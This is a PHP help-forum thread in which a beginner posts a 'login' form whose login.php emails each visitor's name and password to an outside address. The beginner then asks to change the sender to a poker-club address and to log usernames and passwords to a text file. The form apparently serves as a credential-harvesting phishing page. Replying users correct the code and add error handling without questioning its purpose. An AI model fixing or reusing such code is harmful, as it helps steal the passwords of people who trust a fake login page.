Page 1 of 1

PHP newbie

Posted: Thu Nov 11, 2010 7:04 am
by jopet00222
can someone help me with php
when i click login it download logind php
pls help

LogIN.PHP

Code: Select all

<html>
<head>
<title>Script to send mail</title>
</head>
<body>
<?php
echo "<p>Thank you, <b>$_POST[name]</b>, Your message has been sent.</p>";
//start building the mail string
$msg = "Name: $_POST[name] ";
$msg .= "Password: $_POST[password] ";
$msg .= "Message: $_POST[message] ";
$recipient = "TITI@freewebtown.com";
$subject = "Form Submission Results";
$mailheaders = "From: My Website <you@yourdomain.com> ";
$mailheaders .= "Reply-to: popoliker@yahoo.com.ph";
//send the mail
mail($recipient, $subject, $msg, $mailheaders);
?>
</body>
</html>

index.html

Code: Select all

<html>
<head>
<title>E-mail Form</title>
</head>
<body>
<form action="login.php" method="POST">
<p>Name:<br /> <input type="text" size="20″ name="name" /></p>
<p>Password:<br /> <input type="text" size="20″ name-"password" /></p>
<p><input type="submit" value="send" /></p>
</form>
</body>
</html>

Re: PHP newbie

Posted: Thu Nov 11, 2010 7:48 am
by saltwine
You've got lots of errors in your code. Try cleaning those up first and trying again...

login.php

Code: Select all

<html>
    <head>
        <title>Script to send mail</title>
    </head>
    <body>
        <?php
        echo "<p>Thank you, <b>" . $_POST['name'] . "</b>, Your message has been sent.</p>";

        //start building the mail string
        $msg = "Name: " . $_POST['name'] . "\n";
        $msg .= "Password: " . $_POST['password'] . "\n";
        $msg .= "Message: " . $_POST['message'] . "\n";
        $recipient = "TITI@freewebtown.com";
        $subject = "Form Submission Results";
        $mailheaders = "From: My Website <you@yourdomain.com> ";
        $mailheaders .= "Reply-to: popoliker@yahoo.com.ph";

        //send the mail
        mail($recipient, $subject, $msg, $mailheaders);
        ?>
    </body>
</html>
index.html

Code: Select all

<html>
    <head>
        <title>E-mail Form</title>
    </head>
    <body>
        <form action="login.php" method="POST">
            <p>Name:<br /> <input type="text" size="20" name="name" /></p>
            <p>Password:<br /> <input type="text" size="20" name="password" /></p>
            <p><input type="submit" value="send" /></p>
        </form>
    </body>
</html>
 

Re: PHP newbie

Posted: Thu Nov 11, 2010 8:49 am
by jopet00222
so what should i do then..
please HELP

Re: PHP newbie

Posted: Thu Nov 11, 2010 8:54 am
by Celauran
If it's trying to download the php page instead of displaying it, it sounds like PHP is not (properly) installed. If you're sure that it is, check that you have index.php listed in Apache's DirectoryIndex setting.

Re: PHP newbie

Posted: Fri Nov 12, 2010 2:18 am
by jopet00222
CAN you correct my script sir


when i click login it doesn't send me a message

Re: PHP newbie

Posted: Fri Nov 12, 2010 5:23 am
by saltwine
Hi jopet


See my first post for your script without errors. From your message, I assume you are able to view the form and click submit? Does the "Your message has been sent" screen show?

You might want to make another change to your login.php page:

Code: Select all

<html>
    <head>
        <title>Script to send mail</title>
    </head>
    <body>
        <?php
        //start building the mail string
        $msg = "Name: " . $_POST['name'] . "\n";
        $msg .= "Password: " . $_POST['password'] . "\n";
        $msg .= "Message: " . $_POST['message'] . "\n";
        $recipient = "TITI@freewebtown.com";
        $subject = "Form Submission Results";
        $mailheaders = "From: My Website <you@yourdomain.com> ";
        $mailheaders .= "Reply-to: popoliker@yahoo.com.ph";

        //send the mail
        if(mail($recipient, $subject, $msg, $mailheaders))
            echo "<p>Thank you, <b>" . $_POST['name'] . "</b>, Your message has been sent.</p>";
        else
            echo "<p>Error, Your message has not been sent.</p>";
        ?>
    </body>
</html>
This way the message will display whether or not the mail() function was successful. If it is failing, you'll need to dig into your PHP error log to try and find out why.

PS. I notice you're using two different email addresses in your script: TITI at freewebtown.com and popoliker at yahoo.com.ph. Make sure the address you're trying to send to is the one in the $recipient variable.

Re: PHP newbie

Posted: Sat Nov 13, 2010 1:33 am
by jopet00222
why when i click send it is always failed sending



does $from need to be valid

Re: PHP newbie

Posted: Sat Nov 13, 2010 4:34 am
by lorenzo-s
If you run it on your local machine (or any machine without a SMTP server), the mail() function will never work.

Re: PHP newbie

Posted: Sun Nov 14, 2010 12:47 am
by jopet00222
can some one give me a script that when you login it be log to an .txt

Re: PHP newbie

Posted: Sun Nov 14, 2010 8:33 am
by Celauran
Why not just use fwrite()?

Re: PHP newbie

Posted: Mon Nov 15, 2010 2:48 am
by jopet00222
can you give me a fwrite script that can be use in uesrname and pass

Re: PHP newbie

Posted: Tue Nov 16, 2010 2:41 am
by jopet00222
[text]PS. I notice you're using two different email addresses in your script: TITI at freewebtown.com and popoliker at yahoo.com.ph. Make sure the address you're trying to send to is the one in the $recipient variable.[/text]

i want 2 send the message 2 popoliker at yahhoo.com.ph and the sender is gameclubpoker at t35.com(not titi at freewebtown .com)

please salt wine i really need this script help